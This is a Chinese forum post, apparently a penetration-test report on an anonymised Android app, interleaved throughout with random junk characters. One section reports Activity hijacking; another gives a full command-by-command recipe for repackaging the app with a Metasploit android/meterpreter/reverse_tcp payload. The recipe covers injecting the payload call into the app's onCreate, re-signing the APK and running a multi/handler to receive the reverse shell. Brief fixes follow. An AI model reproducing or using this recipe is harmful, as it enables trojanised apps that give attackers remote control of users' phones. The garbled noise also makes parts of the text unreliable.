# G# |6 K- e; r5 t6 Z- [/ ?! u$ v! r ; ^: i" ~7 b+ N0 n( P9 J) S0 B- `3 Q

& u5 ]: l% V% R: m5 V- d - C+ B) c6 N, U0 D1 z3 N   2 \- o0 Z- m3 J. n2 I7 O6 m * w% r) a" f1 F; f6 o( y( Y. \

5 {& L3 z! l( _9 A 4 C' Q; u) W8 {- d2 l" s0 g2 j( t0 s

" I D9 C- H( i. G1 ^3 u" K. v # D0 ?3 H1 u8 f* F; a 2 检测结果                    & Z* X- o4 I9 R7 b/ W9 y 1 K4 i0 ^. n; t2 I) M% w7 x6 S% R; I

3 U% s# S3 {" W- `1 F; z- o6 R* a+ R; Q

" Q# `: i& C+ }% r2 U U0 T" h. s* Z' y! [. i6 O- E3 V 2.1 某某某 & o" D+ k( F( K4 v% S. p. n$ p & _! K4 o Y3 H, ?: {3 Z+ R

' Y: a! Z5 n F! L* \, Q , R$ ? g. ]) I

) e/ Z/ _7 k5 ?7 c8 ~8 t ( z K3 _- r% w* Q# n& \; s5 p4 r 2.1.1检测目标 - `/ _9 g9 ]5 l9 m: Y2 M 0 i8 @7 I- O! L

6 s% Y; E& _# c5 S 8 O! ~. Z% Q, `2 l0 S4 u

4 W8 ?3 ]% @) T! ?3 K! k$ s" e9 ]! I5 G$ p) J' m% @5 S% ^ 目标地址: 某某某某某某APP : t1 o$ i7 Q* c. ~( V3 g' v$ U; V' `6 h7 D

, ?- A* u2 f8 y& p) C0 W 9 z D& C3 C0 @. D% J

% e, @" U$ p) D: E 4 X/ Z0 E- k# M( p 2.1.2检测结果 ! F; Q' s+ Q7 y1 Q9 E ( _1 P' ~& z" }% {3 p* V/ c

, G l4 X7 G/ u+ ]) J) F2 `8 u ; e( A3 \: k( g

& @+ `% N& p6 b: g# H+ w . _4 T9 Q3 Z" L 2.1.2.1 - \6 P1 O; C8 g& z1 ^0 m & @% ?) D$ N, D; }' o

6 l, _9 c) j( F2 y, h* v5 _ # a, c, W( s B) U/ a

+ k/ y) G9 L2 x$ ?0 h& }9 J ! `% z7 C8 U& p9 W( q 漏洞链接地址:某某某某某某APP 7 D( B4 q% E, Z7 u! D# Z 4 `: F1 L6 P( }2 }# [

8 |: Z. x% i( R4 I5 ^6 @& B" u 2 \& o% g8 @' `

9 Y) c1 k; k% v$ I {( w8 C2 B" k( {: P) b& V1 g   / Q# Y; M7 J/ f3 [3 h y* G5 A, @. r. `) Z& O$ e

( M* k, f8 Y% \5 } B- W1 f" ^# B7 o

0 Z2 p2 K N- o' T& L% Y7 a + m7 h7 s. r+ [$ d. O* L: x 漏洞分析及取证: * Z( Q9 ?* `% k, W1 K+ `2 u- B, Q3 e, S/ w+ X" o7 h7 [5 E% N6 m

) c; A4 f' U9 E0 F; j# `' [ / t( }! K# t4 J) M

9 V6 W3 \: N3 d7 k' O8 Q# P' m                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 7 K* b' s' \4 j" R+ \0 m 8 @2 S. k' c7 N4 Q/ n

' k- ~2 H# E- K, T9 D% M/ R0 @" r; {6 j A3 S* C

% ^' g) y% `2 X & b* Z! S& c4 H      ! |; V. Z3 m1 w8 C/ l ; m& }) F& W N/ s4 y* S

7 M3 y6 z" I6 H$ ]# J6 s) ?1 W" v& x $ U, N2 ~7 [! [7 o

8 h$ `- P. `2 x! |# Z9 M1 Q9 a % }0 m5 R* ~8 s1 I# c; f0 Q0 S6 t                       % F# T+ n1 }. p% @1 n5 [5 X0 U+ T7 F8 r0 d5 T( f4 B/ g! y

( g) S: W* i4 v* _* s# e8 _$ u+ j2 O 0 M" |; u' G9 p, c3 t) y, f2 O

4 d2 A- P& Y6 E+ V ( J& x. k* G* O% _9 j$ V9 t ! S. j p) B6 o0 M! Q* T. o 5 [- r: k. R/ ~% F, v8 f- p

( Q) `/ h- Z0 p. x: q+ X4 b& i, C7 n$ s$ v7 f

1 ?% U" G! H/ l; `" K1 r" g8 u & L" D: ^% Q& \3 S* ^: M 1 T- d: ?( B( R/ z ; }5 T+ b5 U& m& g5 p

. C$ n# q% c$ x- q. a 7 b3 X! p6 ]4 Q

( w6 _0 L5 Y- `! V: }1 P. E/ q; k8 C7 r9 s4 P. G" | * k( R( V- r+ n # S+ U+ Z# d3 y& l. M1 B1 ]

6 x2 a0 a# H/ |5 @( R+ Q! y% B- w3 M' o; f* R

, z3 S! w! V6 n8 l! [. L& N# t- b5 T) @, F9 Y2 Z+ G* p 漏洞危害:高 7 Y. v/ c- G: h& Z& m( y6 u 5 b k+ A8 O+ V

1 { }& ~( D- m u, s6 o" H4 f ' L4 f, y* Y- w( S+ ?2 B8 u
b' b; g7 ]! L$ g - X$ n6 M# g3 w7 V/ ?1 S( A- g9 v s M ; ]! y4 s% b4 n; |9 G' B2 D# M0 o$ R6 V2 f$ I' m8 w# r+ p! l$ C1 W1 \. o, n0 p, _" v; M5 y8 T( m# R W2 t3 ]$ X& b. N) P m1 q8 |. O: N; F9 L, z' r5 Y) ]1 d8 W0 B& v% I% P' ^5 l+ ?) L# N8 Z* n- x0 w/ W. U/ @9 v: R& D/ l% h1 y( }: A- r6 Y0 H' _; \+ t2 H& T. E9 T# w4 q: t' z4 Q. v5 x$ r$ B5 D- W; |0 t- O# c. L5 u- t0 Q/ `0 U* Z+ q# L5 X& e# A6 }1 m4 k1 m- N2 l6 A' U. ?+ `# f* A7 W' ]0 \2 u7 H7 }3 P; k z. m0 @- [) ^( {% n- S' P% l" A' k5 S, Z' m$ t8 H& \9 u: }) a. S: B/ A; ]' b" k% e+ a( ?3 b3 ^; b- Y9 h+ Q* z0 H7 n
7 G G# @2 t/ y% z # X3 g" E/ N* H8 H# b

A) s* e! z1 W# S3 _8 F8 f . m* B. r5 K9 w) K2 y0 Y 严重程度 1 _% i1 h8 k2 @) V3 V6 I5 s% G: D# {# I) J/ E& s+ U

8 ]2 n! H8 q* r/ G, @ * c4 z" |4 v8 R2 ]/ c+ o5 T9 W
$ r1 r K/ M, l* v1 S& r4 j" B8 K2 C$ U8 L3 [4 s/ z) o, U7 w5 k

! s* ? h. }- W! M" V4 ~# I5 Y ' q+ M4 L7 \/ L, i4 u/ @+ } : K- n* d5 ]4 m1 Z0 b. F5 w" a8 {& X1 v0 Y

1 X# j" ^" z1 \. ?3 q- ` " i) a. e6 E9 w
) m% Z$ t% m) d' |, Z x : L) @' B- K! R& Z- A2 J) @; S9 N9 ?

! J6 Q& P1 B: t* K3 n % k0 I+ R2 }- J- r$ b5 r ; g* n! r8 E/ s" `0 _1 P3 S( S# c5 E/ b2 u

; S; h& F) W4 P8 W, d, e7 T. K' ?, A) e2 `" P
6 N' k, Z; F9 r ( B; X- l, [5 j5 A: n& ]3 H9 Z

6 X2 O. F0 c0 o! g# q% _9 S $ N6 ]6 @& z* d: i 0 Y- m3 Y6 `. w; C & D. R, }) J. i7 O: V$ Y$ A

+ E. M, T. c, Z6 Z' Q9 \2 c ! y9 Z0 Z; l9 C
" S$ e( S" k+ ?* @ E* q5 I2 K ! F& b" m* B. w5 t

0 C; y# J9 S( [4 u( L6 b/ m& j2 @! f$ r# }7 z& X   & ~ p3 Z3 ^1 ]: ?9 z; x' {: A) N8 w% ^2 r

Z& M- w+ ]# k a0 ] % S0 j. g/ h% E' d! H4 z V
# k+ f7 s# q( s# B. M _ B+ T0 C) k* ^9 ~

5 Y6 n' ]) }& X. G7 X 4 b Z, C8 q; A. h% q 7 |! l4 R6 I H; K! v* o/ e) T9 Z# V1 }0 x/ w9 W

# {. P- b* u- L# z4 a4 z; b+ ` 9 a7 _) W! I; j' n! y
# E2 m: ?* ~$ i* H' ` n . Q( c' @. Z+ O8 m1 g

4 Q4 _- n/ i( D3 a2 C 5 U) j" Z4 v+ i, ?8 N5 r   : K" f1 w- G P4 q2 O ( Y) v) p$ ?6 r) @( u8 `9 Q* h

/ b* ]7 l8 O) Z% d, z 0 l( W9 G; `0 o1 U* N. D
/ g* y, [- K6 D* B/ a. M# O, h$ V
4 |; X( _2 i* D* ] ' h: @$ b" x! U8 L* i

' C; ~/ e9 _5 P : ~5 s' k6 z: M   ( K$ a h5 y1 y3 ?8 t3 m- \ ! ]9 j6 M" f' z; A4 k* \

1 I/ X I+ K% }( K. l5 ~; s$ P# |' ?" f/ j

$ M% b# a! l0 g; [- q$ x9 i 8 V& G' Z) k2 w2 H 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 # v0 A# u& e, Q- a6 ]% { ' L5 i% s% g b6 [+ K. G; o

I9 C* e( f2 a2 W& P3 R( [ 6 J$ {, a" Q% O9 |+ U5 U, K

- R+ t0 T, g! s% a# U( r G5 a" g* x2 ~7 U4 L7 @0 H2 @- l- m           ' h- o* x+ }$ w2 n0 z: h& z {: }7 N) G# d6 N9 ]( I

3 f: n _$ u* s7 {6 v! L0 E8 o 3 x$ k1 l( b( _& U& n% _- U

D* v+ `% j) k5 U# e$ N / I1 f$ i! f! P8 D   : G) }9 W4 y9 G+ R6 ? 4 N" Q( i$ U4 e& ?( U1 f# W) s

8 w1 V+ E7 t* }* z; G5 D3 ^% { 2 R/ C" z0 H6 {. s

( R. u& @& k* @( g" t" O# I$ |3 C0 ^; i! b7 D* z 2.1.2.2 6 s# M0 r( v; {4 K- W: H8 ~9 q 6 f& ~/ O% ^: R

: t3 `6 Z4 \+ T# k # n% q1 Z- R! |" f1 X" n. C7 v

; X9 a9 P7 W1 L. R ; A- D5 l5 h8 T 漏洞链接地址:某某某某某某APP `$ V- h+ {% s& L% g9 H: _. a, B) H; \, k

4 {' f# u7 h1 ?! v . u* [9 V) P& H7 Y; E: v

% j4 ]0 B9 U7 I+ b# ?: z0 h ; r$ w. q, E0 [& U: c* L) M: _ 漏洞分析及取证: - p$ Q5 Y3 l$ g " V1 Y# T9 l' a0 }! k$ G# f& h

5 w. x/ f# G K- r+ ^6 v ) |/ [/ s( O l5 o, I

( N/ M5 [: A; p& o 5 r# x/ N& p& y, t- l! C                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: ! _. F) \' r' Q% |/ ^2 z% [4 ^5 v) N

, [" ]6 m0 \# o$ T/ o$ W( B6 o4 B: d% s9 ?

- L+ H, A$ o2 g2 t) L1 g+ ]( `- H % H# X5 B; C6 I% O3 j Metasploit 生成木马 apk " j- R- \( ]3 F# z i 3 R7 }2 d0 J: H6 O, O2 F2 R

7 T* Y3 X2 ~$ i1 |. g : o* ~! ~+ v6 z! d) E

3 _1 I% S: r1 z& o# G I$ K j : s0 L! n4 K0 Q3 q1 U4 i8 s4 T msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk + D1 b) v/ q9 S) A6 b: W) n2 w- D2 }* F1 X% d# h

5 c& L$ g6 f8 v: K8 z) ]4 E- |) K5 |

2 l+ I, R* @! y: \4 n1 n( d+ I9 s) q6 @ 反编译目标apk和木马apk & z) q& d5 _) M, y3 `' ?- X* k0 Q : r Q8 h8 a4 ]. v8 |& {- R4 y

; ~* O {: N: Q4 r7 L$ f9 y* D5 e/ T% v1 [# z

+ v4 o. t/ @1 l0 B. z9 ^8 o$ T# g0 X } : ^2 B( z5 J4 D apktool d target.apk
. c5 U( v9 i; E F* N" p8 y. u! D8 k5 Z apktool d cockhorse.apk
$ K6 V; b3 x7 C0 u3 a0 l * g* Z' U3 C' W3 W% [; ^1 {

' f! r3 \ F; J3 F6 b. l$ T, g( J& B5 ~. g8 j& D( K

/ I8 ~" u. C6 v 2 I# M B9 U/ A3 [ 木马 apk 注入目标 apk $ q4 _: X; o( m" w2 x7 c % V3 b( R2 @/ ~6 V

( q9 n5 C: ~6 q) G) v 1 \3 D- n0 |% ?% }7 A

- L. {* M w& w$ A: B3 [; a3 s: i, C $ ~1 _ x) A |/ \ 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
9 V8 ?0 u, B3 m$ p% C& H/ c& ]! y. b4 q0 L$ G1 p- |8 w0 q* ] invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
9 S6 |8 @! L* N( p6 \& [9 Q6 h% ? - D9 P" H. b& \0 o8 r6 ~

2 j: D3 Y; b: L ( Z) M$ Y1 u# e+ r

/ h$ U3 u: T. K1 k. N/ I - V }) H+ I& I+ ^1 L2 j 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 & |) A N; ^3 R- b4 o6 f , i# W+ Z2 u9 [# V- |0 P

; n( C7 r4 s: D3 \( r. P; v " ` u/ o! @9 L, J# x8 g

$ H0 T% g1 Z- s8 h$ b2 Y+ @" E/ n 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ $ i& P3 g3 G( B$ m' e$ u) V" u- o% G3 R9 s( {

" E2 G3 T( E: L; _& _; c$ ~! o * q: N7 o& e' z9 t: X; Y# K' [! f

4 C) |. }6 E+ ?: p& A6 L" c6 [5 _) {- d2 h. ^' {7 l9 s 回编译生成最终 apk ; N$ n* Q! U5 K' I" C1 x+ C: h. { 6 L" ?7 B7 Y! s) @9 c

3 n4 X: T: n/ G) I* D3 V O9 O$ o1 {8 n7 B

+ D) S4 A$ `. J; ?; m& j ) ]+ V: M% C. Z/ ?- n) W 重新打包 7 z% G) p6 j: W; }& E& O! y2 C" f+ w j% v3 P2 W% W* N& a

( j, s! x) |7 v" k) \( M6 y . I% X5 C8 t( [) e9 r2 l, k

0 d @8 b3 ]$ z& I) L4 D6 K : V4 C9 Q$ w$ K. D apktool b -o repackage.apk target_app_floder 7 h; J5 r- S2 U3 L& ` $ k# D( R5 a0 [ F) ]

& z0 D; |3 Y6 D( c1 Y & c- M- h8 X+ _! b* c& |6 a

0 s+ K! M9 F( P) b" y5 l7 I( ~5 i5 J3 W5 y n9 h 创建签名文件,有的话可忽略此步骤 3 s1 x/ L% ]7 ^+ ?4 \$ H( A: ~+ U7 G. N4 O" I' c# e9 E

. ~6 n; B! d& n+ q / s8 H: f5 C% J+ S( u0 y$ n

3 y: [" S7 Z' k# n; l: _ . p7 V0 s( ~* | keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                0 a G4 w/ f7 l( e* M% ~ * V3 L6 V/ L$ P! Z5 W

* e8 W+ D0 D! o( a6 W2 `8 \ * U* s# d0 Q \9 v# [' t/ V

9 C/ R B5 P# y5 X6 H' r5 E% \/ \) Q" F6 @& b$ {$ Y7 w; C" G# c 签名,以下任选其一 5 O3 A5 O& q1 F % w) d% I9 P- S1 L1 U

* e1 ~. w8 m4 {4 J0 O + S) X1 Q% e; ?

' T+ a5 t, y" W' _ , `1 P" r! j' e4 o/ E" _- ]0 d jarsigner 方式 0 m0 Y: S& D# o' h4 B. s . A2 Q+ k! ~6 ?8 k) G

' }- W0 T5 y, T6 v& A5 N9 ~0 y4 Z$ C

& A5 I* T3 ]4 d+ \ + a$ L& z0 {& U+ j8 T3 E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 6 J3 ^0 n/ t' K/ I* o; E# Y' x& a* S

5 K6 ~+ U0 d0 D- D: ~ ( z, l% t. z; D' Q, ?# K

( n: e' _" G1 u5 _ ! E5 k! G2 `7 K! `& N; w apksigner 方式 4 L- n: P, D; n+ [% Z3 R7 L6 O! {

+ u+ t6 s% w& `& w% R - O' e$ F. e/ f2 K( x

' C8 {4 Q3 ~+ d e5 M% r& O9 @6 S# \2 `5 B* O9 h apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 2 h' m! N2 s+ }' Q / N$ ~! P) v8 M( ?; g# m: r4 H& v

' Y: N; a. `2 [% g5 b& A+ S # s+ I3 h" G$ F; w9 `& ?, P; |9 b

% F( U5 P$ X, c b4 b/ S8 U" D , [, r; q6 X2 S Z9 C2 _ 如需要禁用 v2签名 添加选项--v2-signing-enabled false 4 V# v- X4 c, k* c7 r( c/ M; G- t9 j! O o7 }

# H( }& {/ `$ Q$ W& N& F7 V $ w. ~5 U7 e& G) ^+ B5 f

6 k" X8 C! o2 `8 M4 d. P " y* C0 h* ]# e) Y6 o& B/ c5 ]2 S 验证,以下任选其一 4 p0 _) n3 R& t j4 x: z ' @- L6 i8 w$ G

) o+ q7 g/ y+ P: o5 ~& t; E; m8 ?! V

0 a0 a7 t9 s4 z9 N. ^& S$ I( e4 c& p7 X& T jarsigner方式 5 z1 S, k4 J- A - x' w/ K% m4 X

( p( }$ P# L2 |$ f$ v8 U' X; V- B2 a) h4 e& c) z& L

6 g5 U; u( a/ O( Q 5 F: o/ r4 Q" A jarsigner -verify repackaged.apk / j. D8 U6 { r. D/ p 8 N% `0 @7 v2 z1 ^: R' Y/ y5 {$ P0 z

( Q$ e3 ^% Q, v " v5 E7 q P+ V% s# J

\/ J$ d# f7 J m" R& _4 n" X0 E! R& U ( V& G9 ^( j) ~4 r" N c7 C apksigner 方式 : j6 @2 f1 a: t/ ~- N, E, V 3 {8 n) N" X$ r5 Z

$ u. C: x9 L9 f' K8 m" o/ | 5 E% H2 g/ B2 u: W) d6 t( \

# t) F! J0 ^, J. C+ I% k. k% \! K% {8 W; i0 y$ {! u apksigner verify -v --print-certs repackaged.apk # s' ~- @- @% v& x8 p - c% v, A4 \3 @" q" H3 ?0 E

5 X0 Y+ C9 m0 K) L) q! U" d W5 u9 R% e4 f+ T6 p* |- V

) B0 W3 U+ E3 j, s% | + l/ A$ ?( N. {4 \9 T& L$ F9 l W keytool方式 ' b$ y' b! K2 \% X! ~' w2 x4 a- q$ @- B5 r3 E6 |( f

. j! m4 i0 d# Z% b# w8 Y, Z' Z# s% q$ \. v) J* I3 G

% Z# k. g: w2 k" a/ o; ~ 3 E" S. b. ]- h/ ?1 ]8 i keytool -printcert -jarfile repackaged.apk 4 x3 B, O% O- A / L" }1 ?0 O; v/ c6 v

$ @/ t! B5 D: R/ A9 z8 ? 5 x% X7 W9 |5 i) n' h9 c3 _

* J! h+ b$ ]0 ~/ v1 e 2 }7 D8 Q/ @# ?, H6 E4 B3 }2 @ 对齐 + n. {$ s. X6 E% H8 I6 K+ Q , E9 F' L) b6 T! l. ?& \

- U4 b/ E9 B @* B, l; `) l1 y" T, J+ L- w! j. w1 R5 Q. o X9 f, D

1 A5 G1 w! y+ ~/ W w/ I o) Y7 s8 w3 p4 R9 ~+ k: _ 字节对齐优化 $ n t \6 l5 z$ y * l. `* H4 Z- f0 s/ ]

; l* h e& {* `7 q & b, f+ J) w$ k* n" R! D

4 r0 `$ ^8 ]% h' f : f9 l2 P" @. V7 p7 O* d zipalign -v 4 repackaged.apk final.apk " E. {8 s- D$ `" l f) B& M5 R5 f& R/ m4 ?8 x3 Z' K! k6 I8 L( d

. m q' _& I6 H/ R$ K/ E7 C ! Q- x/ J/ k7 [1 o0 x, N" x& J$ `. T

8 C) ^) |0 O% x$ R) p# D; i+ p. O6 j% h: S% D# E 检查是否对齐 2 F. ?0 _: J3 h * J9 ~: o: O' \$ c9 T2 u' s

4 c; u; D0 _! e) a) x/ x, ~ $ b! P. D/ \3 a( q, h" N

0 R9 H, p% a% @; T 2 Q2 h6 Q5 m) a2 _- t# I% z% v zipalign -c -v 4 final.apk ?) U: S6 A0 z; m7 N6 A2 K5 j # ~. m& Y2 j# T( l6 U

3 i( ]- O$ E" Q& S; T1 N) e3 q % q/ e- v E8 ]1 E1 |: s

, ^ S. g0 @" U. ~! E5 i, q . c- v% t9 Q5 Q9 w8 W 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 u% I, ]6 b w. R: q. U) B3 W2 ]- G

& r! }2 y7 \3 K/ Z# u4 o4 w8 H0 p, J7 N # G$ ?$ H& G2 }% p( N* V( U) |8 W

0 R8 W7 d( _" W) w2 Y8 k1 q: i 8 j- U, d3 v! q0 s/ b9 r 启动Metasploit控制台,配置参数等待上线 ; S( T5 p( s+ C9 ]+ f$ d+ F( Z& t/ B! e, \5 [" ]

0 C. Q! M- s6 d, g: a5 G8 u2 D- O4 ]: ]5 q1 s2 U) T

" j' {6 g: y3 X) ]7 t9 [7 @ : g# K: e$ B* ?. o. a: z 在终端依次输入如下命令 % q w/ x- i/ R, y& ?7 w & C3 }2 M0 P5 |7 {

9 y0 D( h0 n( M R/ C% b: {( I U) i) T

. Q, s* [, l$ {! J( l) Y% _ + t$ f- P" j% r9 i" y& m( t# u( S9 ]( y msfconsole 4 V( x- F3 [3 l2 K9 C- L* u , m/ j4 \) b3 ~& z' l( I! U

, n4 {' ~ b0 o4 z ( G' l- O- v% [/ ? \2 B# p4 x

7 q# z. w1 o) u ! \0 k m0 x# @ use exploit/multi/handler 9 Q9 C7 i, C4 @6 `6 D5 r , u) C5 V" N- ~

7 b, T' i2 w! v 2 h" R- j4 ^$ @) v0 I

& i7 x% B4 H' u8 n R . v1 n8 S& i% T# B set PAYLOAD android/meterpreter/reverse_tcp 5 X$ i" d l: Z* i2 P- ~ - n3 G% `/ q- K- I2 O1 m& r

* P1 d8 ?9 o6 I: q5 y 8 L: o Y N2 c( R. C+ \1 F4 a

7 k/ w8 {, @/ F( B, L, n1 K & a2 y K* i- `1 Q1 E set LHOST 192.xxx.xx.xx / ]: d6 I* |: J# Y% b. M# {$ G4 _+ a9 H6 t( O9 J

- Z5 i# Y9 p" U6 }: A7 m$ D % `; i' k3 s1 Q2 r

! ~7 H& Q( H9 a8 _9 ? # M! s' W2 A! ^6 D6 L set LPORT 4444 0 f) |0 \) p% w6 Z2 w6 q' Y2 @$ I; w

' B4 b0 q9 Q5 y& ]' D# v ! k) W; |% w. z- D0 G9 i( O) @# h

/ D9 V( u' Q) ~" u - U% u6 d$ N( P4 Y" a3 ` exploit , [' W! K+ y# f+ T7 V 1 P6 b1 f3 l R7 X: p; I

# P; P7 @- O1 B6 `' q* K/ c. C. m" n1 I( o7 \& w7 l

0 e1 s5 F5 s$ I# M, R 2 n; C2 x& A/ E* E) { M 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               * |0 r# {" b8 Y8 u& J* ~$ Y" v % y2 G6 O/ Q5 \8 H% D

& i0 K$ v' D3 Z+ T5 I! C ' m9 V0 E" ^1 r' o( [! H' T

! _7 y# S+ b6 [( B" i5 n ! F, H" d) b8 J ^' L 漏洞危害:中 : }/ R% y) g, V 9 u* l/ O: k. k, w' p5 [; n( E

& ]- H- k, R1 W" {+ J; d & G0 ]: g' M* A; f. ]4 ~. P
, `# x+ w$ H+ S ! t4 h8 `1 Y, ~& u% B# i _: M. Z1 _; R : s3 ~0 x' X7 S( e - t8 n, P. ?% x9 T' P6 ~ ' `# H$ a* f U" Y! f* k0 t3 g9 ^& c0 D, Z& p' u( W; k t- ^2 q) `0 L3 k8 t8 @. @+ l( Z* C# V9 W$ c8 T! q) q; ~$ n3 a5 [, R; {1 x: v; P7 C" _3 J, g# C; f, T$ S6 H; k4 F: U$ l! q" W2 G5 w6 T5 L' @; k" q5 e" G7 p; p4 h0 n* d9 \. O+ Z# h# \( F) v4 z# \2 \+ O P3 j5 C4 Z: e! v8 n1 [) X7 K: G3 G) C4 T. ~7 Z2 [8 g4 Y4 p, [& ~8 s5 g y! A. U) k7 }2 d0 p' w0 E( A; D ~5 Q4 E7 h+ k( O6 x0 X9 e }& r/ y* f' {# J) c7 `: F4 r4 i- ~/ y; q* ?5 q! d% F- k+ B+ {* h" P& f6 g: i' V' y8 k' f+ n1 K4 y0 }5 b- z P3 G! L/ p' r9 |! C. O% T4 n4 ~. P+ X1 k, L$ T7 C+ b7 }
: }. S6 l5 F& n8 t& d/ e+ c/ B 4 v1 s. f @3 y- q1 u

* C$ i1 B+ R, w+ }: _/ i& Q( W. C$ n# ^' ? 严重程度 & z M0 i8 ~# c! c) J" q# J# X. E* V , y0 y. W5 Y$ ?1 a" _- H

: |0 g6 t: l7 E : @& O3 G6 x/ P
5 ?6 x; l; s5 ?! J1 r: u! n 3 W0 J2 l, L3 y( D! B

3 L5 e, Y8 h. \# `& h 8 B3 x% @% y- \1 q w # X/ f+ ]7 v0 u3 g% C b( g 3 b3 w. j8 d3 E2 C3 F: N

/ u" b8 o7 S- r : S8 g+ j" w& ~; W2 U
" d0 k: [: h2 K5 d7 | % l- f9 R) e n; h! k( ~. q5 r) r

9 ~' Y7 x+ s! F: S, H: A ) [, H1 M1 q( o L+ R4 F* W # b5 O" h0 Q, T5 G0 A* g0 b " E" I9 ?+ c" O/ M/ ?* k5 m K

) o+ J+ X0 ?0 u( f# @ 6 u+ L' J6 r7 Q F
7 t3 d) ]2 C. A8 B9 l& a r3 B 6 s1 J( d: U4 `

' A1 V' v2 q0 C0 h2 b7 H9 h {% g4 R0 |1 ] * `5 a3 p* H5 {1 l) @. ^$ O ) t+ _: S! S$ h# B, F& m: t

. B! N5 |0 {* P2 I- f% I 4 g) {0 I* i! A3 f
% G2 G* u0 d' a+ O7 r4 L0 b$ z * b& F1 Q) c; h4 X& C, D! T% N 3 Z3 L% Q F8 Y* D/ ] ! k! c% o4 b5 |6 \8 T

6 @- T2 G5 ]5 Q% \8 b' W, T0 h. b2 d B# u% {   , H; i- f: g0 J1 U6 }1 o' B9 | \- o! m# p" p/ ]

% I- T" W [3 k+ V; M$ d' Q! {, e9 \* [5 [5 N% a3 O0 _; K0 Q
# w5 ]9 l* q+ ~0 v6 d2 j & H B0 a* F3 `8 f5 J

3 j" [) c8 {8 e7 I 8 p3 E0 w+ }/ C# z3 f - Z' r, O; E; @6 ~% v5 w ) m) }$ ]0 p2 y; ?+ N, o1 a F

" ~, t9 ?9 c* D$ R9 T0 Z . I/ Z5 j7 g# o
: V2 R' s2 [3 @- n7 m+ O6 v; ^' i t5 d' Q+ N0 t& N/ O; X" e1 Y * Z0 v7 T. Y- Q# u% P + I r' d4 v4 ]7 |2 W* W

6 C ?8 c; i- H( r' |+ D0 N / u' N* p0 }+ J   ) G' F/ G3 d0 k' n) d: Z O1 F5 e+ V

! ~7 {3 f" O1 r, y& t' E& p; V 8 y" a! D( [4 K: Z
0 A, a4 x/ y7 T8 M5 c) D + |% s. ^! S4 w8 S
3 U* c; c* D; m! H9 c6 s' {6 f $ ~6 q2 r' G+ |- w* G! x

% F8 j6 F) X! [1 ~ 2 @* m0 s# Y$ u# A( G' G! I   * K/ j5 F& G: l, j : G, A" L/ `, t% h+ e( f' m

, z! I& s7 n3 a! T, _ 0 V) `3 Y! E9 u7 m6 O' D

; Q) E1 W: `4 F7 `! ] p , g S9 I2 G, A- r* A. z0 \$ W 修复方法: 2 t! C; A: f( N c+ r7 l$ O) D- P- ~/ ^2 Z6 F

7 H5 a E8 R! X ( ^6 _6 q& j- Q: O" |

# D v) {2 e9 N1 Y1 C& a6 G6 n1 P( R 9 y6 B I: P! ?. K( k0 D               1. APP 启动时应做签名校验防止二次打包。
1 s) z' V( K. g" S+ D2 E& |, Q1 g* s. g% c. k 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 # T$ ~7 M4 { t7 [4 M Q# t& e $ V3 T" v6 ], K6 ?! A

Y; Y U+ L& @ V' W4 j 2 D! n! d; t) M- @) D' E* K G5 i 8 J$ b& i) G) i3 M# w / n3 z: t) S4 ?

) V, ]* o2 t% ^* Y* {5 f S ! @2 H8 _+ m. D5 {' p   8 Q7 |* ]2 o1 M+ B$ X * j3 A& B; w0 S4 l1 C8 c% A- J

; ~" W. I T! _! W & A! k, k: E6 h& F; p . @: g& r- y+ u# C+ ]9 S5 _5 H5 c7 {0 z8 q" M d2 O

1 G# {- x- {; o+ ~0 w R; q ' P6 X) D. J. `, R3 n
' Y5 G( B8 B- o& y" O! d$ f2 K2 F4 G% g2 I2 z

% U) t: Z7 L6 Y* |& q$ u4 z, t! A, O u6 v3 e* A# ] K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表